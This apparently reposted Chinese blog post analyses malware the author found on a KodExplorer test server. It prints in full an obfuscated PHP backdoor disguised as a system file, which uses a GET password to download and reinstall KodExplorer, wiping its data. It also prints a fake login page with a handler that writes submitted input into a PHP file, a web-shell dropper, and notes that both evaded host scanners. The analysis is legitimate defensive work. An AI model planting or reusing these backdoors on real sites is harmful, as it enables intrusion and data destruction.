针对可道云文件管理系统的病毒分析

admin 2022年7月13日06:09:36评论72 views字数 11573阅读38分34秒阅读模式

本文首发于奇安信攻防社区,作者为HackerDo团队的考不过刘乐琪不改名,文章链接:https://forum.butian.net/share/1378

Part10x00 前言

之前在挖掘可到云文件管理系统漏洞的时候,在一个没有装防火墙的轻量级服务器上搭建了一个环境。在漏洞挖掘结束以后,服务器就没有再使用过。但是因为服务器之前搭建过靶场,留下了一些后门文件。这两天准备给团队开发一个资源共享系统,就想把可道云改一下UI。在熟悉底层文件的时候,突然看见一个不太和谐的文件。

针对可道云文件管理系统的病毒分析
image.png

这个文件名是SQLDB.php,像是一个系统文件。但是文件格式却是被压缩过的,与其他文件风格不一样,于是就引起了我的注意力。因为我使用的是腾讯云服务器,如果有病毒的话会检测并通知我,但是这个文件没有被检测到。所以一开始我以为这只是一个普通的文件,在研究以后,发现这是一个利用敏感信息的病毒文件,并且要过了腾讯云的杀毒(企业版的是否绕过不知道),今天写在这里分享一下。因为在做分析的时候对文件进行过操作,所以文件时间是比较近的。但其实是之前不知道什么时候有的。

Part20x01 文件内容

原来的文件内容:

<?php if (!defined("SQLDB")) define("SQLDB""MCDB");$SQLKWD[SQLDB] = explode("|^|K|3""H*|^|K|341414741474747");if (!defined(pack($SQLKWD[SQLDB][00], $SQLKWD[SQLDB][0x1]))) define(pack($SQLKWD[SQLDB][00], $SQLKWD[SQLDB][0x1]) , ord(1));if (!defined("SSHDB")) define("SSHDB""SSHKEY");$SQLKWD[SSHDB] = explode("|v|t|Z""H*|v|t|Z41414741474741|v|t|Z41414741474147|v|t|Z7C3A7C2D7C35|v|t|Z7C3A7C2D7C35646566696E65647C3A7C2D7C35666F70656E7C3A7C2D7C3566707574737C3A7C2D7C3566636C6F73657C3A7C2D7C3569735F66696C657C3A7C2D7C35756E6C696E6B");if (!defined(pack($SQLKWD[SSHDB] {0 }, $SQLKWD[SSHDB] {01 }))) define(pack($SQLKWD[SSHDB] {0 }, $SQLKWD[SSHDB] {01 }) , pack($SQLKWD[SSHDB] {0 }, $SQLKWD[SSHDB][02]));$SQLKWD[JARMD] = explode(pack($SQLKWD[SSHDB] {0 }, $SQLKWD[SSHDB] {3 }) , pack($SQLKWD[SSHDB] {0 }, $SQLKWD[SSHDB][0x4]));if (!defined("SQLDBWD")) define("SQLDBWD""SQLWDG");$SQLKWD[SQLDBWD] = explode("|K|H|a""H*|K|H|a41414747414147|K|H|a646566696E65|K|H|a41414747414141|K|H|a70|K|H|a|K|H|a3070656e2e736573616d65|K|H|a687474703A2F2F7374617469632E6B6F64636C6F75642E636F6D2F7570646174652F646F776E6C6F61642F6B6F646578706C6F726572342E34302E7A6970|K|H|a2E2F6B6F642E7A6970|K|H|a772B|K|H|a6B6F642E7A6970|K|H|a6B6F642F|K|H|a3C6120687265663D222E2F6B6F6422207461726765743D225F626C616E6B223EE689A7E8A18CE68890E58A9FE782B9E587BBE8BF9BE585A53C2F613E0A");if (!$SQLKWD[JARMD] {0x1 }(pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {1 }))) call_user_func(pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD][02]) , pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {1 }) , pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {03 }));$SQLKWD[SQLPWD] = array( $_GET );$AGAAAAG = & $passwd;$AGAAAAA = & $ch;$AAGGGGG = & $source;$AAGGGGA = & $data;$AAGGGAG = & $destination;$file = & $AAGGGAA;$AAGGAGG = & $zip;$file_path = & $AAGGAGA;$AGAAAAG = isset($SQLKWD[SQLPWD][(0 - 1225 + 25 * AAGAGGG) ][pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {4 }) ]) ? $SQLKWD[SQLPWD][(0 - 1225 + 25 * AAGAGGG) ][pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {4 }) ] : pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD][05]);if ($AGAAAAG != pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD][06])) {exit;}$AGAAAAA = curl_init();$AAGGGGG = pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {07 });curl_setopt($AGAAAAA, CURLOPT_URL, $AAGGGGG);curl_setopt($AGAAAAA, CURLOPT_RETURNTRANSFER, (AAGAGGG * 41 - 2008));$AAGGGGA = curl_exec($AGAAAAA);curl_close($AGAAAAA);$AAGGGAG = pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {0x8 });$AAGGGAA = $SQLKWD[JARMD] {02 }($AAGGGAG, pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD][011]));$SQLKWD[JARMD] {03 }($AAGGGAA, $AAGGGGA);$SQLKWD[JARMD] {0x4 }($AAGGGAA);$AAGGAGG = new ZipArchive();if ($AAGGAGG->open(pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD][012])) === true) {$AAGGAGG->extractTo(pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {11 }));$AAGGAGG->close();}$AAGGAGA = pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {0x8 });if ($SQLKWD[JARMD] {05 }($AAGGAGA)) {if ($SQLKWD[JARMD][6]($AAGGAGA)) {}}echo pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {0xC });?>

展开后的:

<?php if (!defined("SQLDB")) define("SQLDB""MCDB");
$SQLKWD[SQLDB] = explode("|^|K|3""H*|^|K|341414741474747");
if (!defined(pack($SQLKWD[SQLDB][00], $SQLKWD[SQLDB][0x1]))) define(pack($SQLKWD[SQLDB][00], $SQLKWD[SQLDB][0x1]) , ord(1));
if (!defined("SSHDB")) define("SSHDB""SSHKEY");
$SQLKWD[SSHDB] = explode("|v|t|Z""H*|v|t|Z41414741474741|v|t|Z41414741474147|v|t|Z7C3A7C2D7C35|v|t|Z7C3A7C2D7C35646566696E65647C3A7C2D7C35666F70656E7C3A7C2D7C3566707574737C3A7C2D7C3566636C6F73657C3A7C2D7C3569735F66696C657C3A7C2D7C35756E6C696E6B");
if (!defined(pack($SQLKWD[SSHDB] {
    0 
}
, $SQLKWD[SSHDB] {
    01 
}
))) define(pack($SQLKWD[SSHDB] {
    0 
}
, $SQLKWD[SSHDB] {
    01 
}
) , pack($SQLKWD[SSHDB] {
    0 
}
, $SQLKWD[SSHDB][02]));
$SQLKWD[JARMD] = explode(pack($SQLKWD[SSHDB] {
    0 
}
, $SQLKWD[SSHDB] {
    3 
}
) , pack($SQLKWD[SSHDB] {
    0 
}
, $SQLKWD[SSHDB][0x4]));
if (!defined("SQLDBWD")) define("SQLDBWD""SQLWDG");
$SQLKWD[SQLDBWD] = explode("|K|H|a""H*|K|H|a41414747414147|K|H|a646566696E65|K|H|a41414747414141|K|H|a70|K|H|a|K|H|a3070656e2e736573616d65|K|H|a687474703A2F2F7374617469632E6B6F64636C6F75642E636F6D2F7570646174652F646F776E6C6F61642F6B6F646578706C6F726572342E34302E7A6970|K|H|a2E2F6B6F642E7A6970|K|H|a772B|K|H|a6B6F642E7A6970|K|H|a6B6F642F|K|H|a3C6120687265663D222E2F6B6F6422207461726765743D225F626C616E6B223EE689A7E8A18CE68890E58A9FE782B9E587BBE8BF9BE585A53C2F613E0A");
if (!$SQLKWD[JARMD] {
    0x1 
}
(pack($SQLKWD[SQLDBWD] {
    0x0 
}
, $SQLKWD[SQLDBWD] {
    1 
}
))) call_user_func(pack($SQLKWD[SQLDBWD] {
    0x0 
}
, $SQLKWD[SQLDBWD][02]) , pack($SQLKWD[SQLDBWD] {
    0x0 
}
, $SQLKWD[SQLDBWD] {
    1 
}
) , pack($SQLKWD[SQLDBWD] {
    0x0 
}
, $SQLKWD[SQLDBWD] {
    03 
}
));
$SQLKWD[SQLPWD] = array( $_GET );
$AGAAAAG = & $passwd;
$AGAAAAA = & $ch;
$AAGGGGG = & $source;
$AAGGGGA = & $data;
$AAGGGAG = & $destination;
$file = & $AAGGGAA;
$AAGGAGG = & $zip;
$file_path = & $AAGGAGA;
$AGAAAAG = isset($SQLKWD[SQLPWD][(0 - 1225 + 25 * AAGAGGG) ][pack($SQLKWD[SQLDBWD] {
    0x0 
}
, $SQLKWD[SQLDBWD] {
    4 
}
) ]) ? $SQLKWD[SQLPWD][(0 - 1225 + 25 * AAGAGGG) ][pack($SQLKWD[SQLDBWD] {
    0x0 
}
, $SQLKWD[SQLDBWD] {
    4 
}
) ] : pack($SQLKWD[SQLDBWD] {
    0x0 
}
, $SQLKWD[SQLDBWD][05]);
if ($AGAAAAG != pack($SQLKWD[SQLDBWD] {
    0x0 
}
, $SQLKWD[SQLDBWD][06])) {
    exit;
}
$AGAAAAA = curl_init();
$AAGGGGG = pack($SQLKWD[SQLDBWD] {
    0x0 
}
, $SQLKWD[SQLDBWD] {
    07 
}
);
curl_setopt($AGAAAAA, CURLOPT_URL, $AAGGGGG);
curl_setopt($AGAAAAA, CURLOPT_RETURNTRANSFER, (AAGAGGG * 41 - 2008));
$AAGGGGA = curl_exec($AGAAAAA);
curl_close($AGAAAAA);
$AAGGGAG = pack($SQLKWD[SQLDBWD] {
    0x0 
}
, $SQLKWD[SQLDBWD] {
    0x8 
}
);
$AAGGGAA = $SQLKWD[JARMD] {
    02 
}
($AAGGGAG, pack($SQLKWD[SQLDBWD] {
    0x0 
}
, $SQLKWD[SQLDBWD][011]));
$SQLKWD[JARMD] {
    03 
}
($AAGGGAA, $AAGGGGA);
$SQLKWD[JARMD] {
    0x4 
}
($AAGGGAA);
$AAGGAGG = new ZipArchive();
if ($AAGGAGG->open(pack($SQLKWD[SQLDBWD] {
    0x0 
}
, $SQLKWD[SQLDBWD][012])) === true) {
    $AAGGAGG->extractTo(pack($SQLKWD[SQLDBWD] {
        0x0 
    }
    , $SQLKWD[SQLDBWD] {
        11 
    }
    ));
    $AAGGAGG->close();
}
$AAGGAGA = pack($SQLKWD[SQLDBWD] {
    0x0 
}
, $SQLKWD[SQLDBWD] {
    0x8 
}
);
if ($SQLKWD[JARMD] {
    05 
}
($AAGGAGA)) {
    if ($SQLKWD[JARMD][6]($AAGGAGA)) {
    }
}
echo pack($SQLKWD[SQLDBWD] {
    0x0 
}
, $SQLKWD[SQLDBWD] {
    0xC 
}
);
?>

第一眼看去,里面的变量名很多都是比较混淆的。如果把这个作为系统文件来看的话,毫无违和感,变量命名是以SQL、SSH等加上其他后缀,伪装成系统文件

Part30x02 文件查杀

针对可道云文件管理系统的病毒分析
image.png
针对可道云文件管理系统的病毒分析
image.png

绕过了宝塔的文件检测,但是付费的不知道,我没有充钱

Part40x03 文件分析

$SQLKWD[SSHDB] = explode("|v|t|Z""H*|v|t|Z41414741474741|v|t|Z41414741474147|v|t|Z7C3A7C2D7C35|v|t|Z7C3A7C2D7C35646566696E65647C3A7C2D7C35666F70656E7C3A7C2D7C3566707574737C3A7C2D7C3566636C6F73657C3A7C2D7C3569735F66696C657C3A7C2D7C35756E6C696E6B");

explode函数把字符串变为数组explode(separator,string)

separator :规定在哪里分割字符串string :要分割的字符串

把这个字符串变为数组之后是这样的

[0] => H*
[1] => 41414741474741
[2] => 41414741474147
[3] => 7C3A7C2D7C35
[4] => 7C3A7C2D7C35646566696E65647C3A7C2D7C35666F70656E7C3A7C2D7C3566707574737C3A7C2D7C3566636C6F73657C3A7C2D7C3569735F66696C657C3A7C2D7C35756E6C696E6B
    [0] => 
    [1] => defined
    [2] => fopen
    [3] => fputs
    [4] => fclose
    [5] => is_file
    [6] => unlink

价值不大,继续分析,找到下一个explode

$SQLKWD[SQLDBWD] = explode("|K|H|a""H*|K|H|a41414747414147|K|H|a646566696E65|K|H|a41414747414141|K|H|a70|K|H|a|K|H|a3070656e2e736573616d65|K|H|a687474703A2F2F7374617469632E6B6F64636C6F75642E636F6D2F7570646174652F646F776E6C6F61642F6B6F646578706C6F726572342E34302E7A6970|K|H|a2E2F6B6F642E7A6970|K|H|a772B|K|H|a6B6F642E7A6970|K|H|a6B6F642F|K|H|a3C6120687265663D222E2F6B6F6422207461726765743D225F626C616E6B223EE689A7E8A18CE68890E58A9FE782B9E587BBE8BF9BE585A53C2F613E0A");

通过pack函测试数据得到如下关键信息:

    [4] =>p
    [5] =>
    [6] =>0pen.sesame
    [7] =>http://static.kodcloud.com/update/download/kodexplorer4.40.zip
    [8] =>./kod.zip
    [9] =>w+
    [10] =>kod.zip
    [11] =>kod/
    [12] =><a href="./kod" target="_blank">执行成功点击进入</a>

这个病毒通过p参数(GET)传入密码,下载压缩包,然后生成链接直接进入后台 所以这个应该是个小马,然后再有一个木马去调用他。我先访问这个文件,尝试传入密码登录后台

针对可道云文件管理系统的病毒分析
image.png

但是报错了 我去查询了一波相关信息,发现是我的PHP版本高了,与木马不兼容(我在尝试可道云的时候经常换PHP版本,所以这个表哥没有成功利用这个木马,版本根本不兼容。那么我之前做靶场的后门应该也有的已经失效了。) 为了测试木马病毒,我去调试了一些PHP,然后就OK了

针对可道云文件管理系统的病毒分析
image.png
针对可道云文件管理系统的病毒分析
image.png

确实好用。然后我发现,文件管理系统里面的数据就像被格式化了一样,清空。再仔细一看病毒,发现是将可道云的压缩包文件下载下来,然后重新安装。传入的密码其实是安装密码。

针对可道云文件管理系统的病毒分析
image.png

然后我把这个网站的文件下载后与官网的文件相比较,发现多了一个zipper.class.php,而且文件格式也是伪装的和系统文件比较像。

这是系统文件

针对可道云文件管理系统的病毒分析
image.png

zipper.class.php用来压缩目录,然后备份数据(深藏不露) 但是仅仅依靠这两个文件我感觉无法完成一个完整的后门,肯定存在其他的后门

于是我就去找之前作为靶场的网站(不多,就几个),然后排查文件(不少,几千个),最后在红帆OA的目录里找到了一个后门。

Part50x04后门内容

<!DOCTYPE html>
<html>
<head>
    <title>登录</title>
    <meta name="content-type"; charset="UTF-8">
</head>
<body>
<div id="bigBox">
        <h1></h1>

        <form id="loginform" action="SQLcheck.php" method="post">
            <div class="inputBox">

                    <div class="inputText">
                        <input type="textid="namename="usernameplaceholder="Usernamevalue="">
                    </div>
                <div class="inputText">
                </div>
                <br >
                <div style="colorwhite;font-size: 12px" >

                </div>
                
            </div>
           <div>
               <input type="submitid="loginname="loginvalue="登录" class="loginButton m-left">
               <input type="resetid="resetname="resetvalue="重置" class="loginButton">
           </div>
</div>
</div>
</form>
<style>
    body
{
    margin: 0;
    padding: 0;
    background-image: url("image/bgimg.jpg");
    background-repeat: no-repeat;
}
#bigBox
{
    margin: 0 auto; 
    margin-top: 170px; 
    padding: 20px 50px; 
    background-color: #00000090; 
    width: 400px;
    height: 300px;
    border-radius: 10px;
    text-align: center;
}
#bigBox h1
{
    color: white; 
    font-family: "Comic Sans MS";
}
#bigBox .inputBox
{
    margin-top: 20px;
}
#bigBox .inputBox .inputText
{
    margin-top: 20px;
}
#bigBox .inputBox .inputText input
{
    border: 0;
    padding: 10px 10px; 
    border-bottom: 1px solid white; 
    background-color: #00000000; 
    color: white;
}
#bigBox .loginButton
{

    margin-right: 30px;
    margin-top: 40px;
    width: 100px;
    height: 25px;
    color: white;
    border: 0
    border-radius: 20px;
    background-image: linear-gradient(to right, #b8cbb8 0%, #b8cbb8 0%, #b465da 0%, #cf6cc9 33%, #ee609c 66%, #ee609c 100%);
}
.m-left{
    margin-left: 30px;

}
.register{
    position: absolute;
    margin-bottom: 1000px;
    right: 10px;
    color: #ffffff;
    margin-right:800px;
    font-size: 13px;
}
.fgtpwd{
    position: absolute;
    margin-bottom: 1000px;
    right: 10px;
    color: #ffffff;
    margin-right:666px;
    font-size: 13px;
}

</style>
</body>
</html>

没错,一个登录页面 BUT!!!!

针对可道云文件管理系统的病毒分析
image.png
<?php 
$SQL = $_POST['usename'];
$myfile = fopen("后台备份文件误删.php""w") or die("Unable to open file!");
fwrite($myfile$SQL);
fclose($myfile);
?>

在提交这个登录请求以后,会把用户写入一个文件。然后你在访问这个文件,你懂得

Part60x05 总结

1文章总结

因为笔者在上学,没有时间详细分析防火墙日志。我简单的分析了一下这个病毒的伪装,发现他的庐山真面目。其实这个涉及的很多后门应该有自我销毁的功能,只是主干被保留方便二次利用罢了。希望这个分析对大家有所帮助。

2写在最后

关于公众号

HackerDo安全专注于收集最新网络安全消息,发布各类漏洞信息以及修复方案,关注各大比赛,及时带来最新动态以及知识教程。我们会不定期分享漏洞PoC以及知识干货,不定期送出福利。

微信交流群

如果失效请在后台回复“粉丝群”获取最新加群方式!

针对可道云文件管理系统的病毒分析

QQ社区群

针对可道云文件管理系统的病毒分析


原文始发于微信公众号(HackerDo安全):针对可道云文件管理系统的病毒分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月13日06:09:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   针对可道云文件管理系统的病毒分析https://cn-sec.com/archives/1171567.html

发表评论

匿名网友 填写信息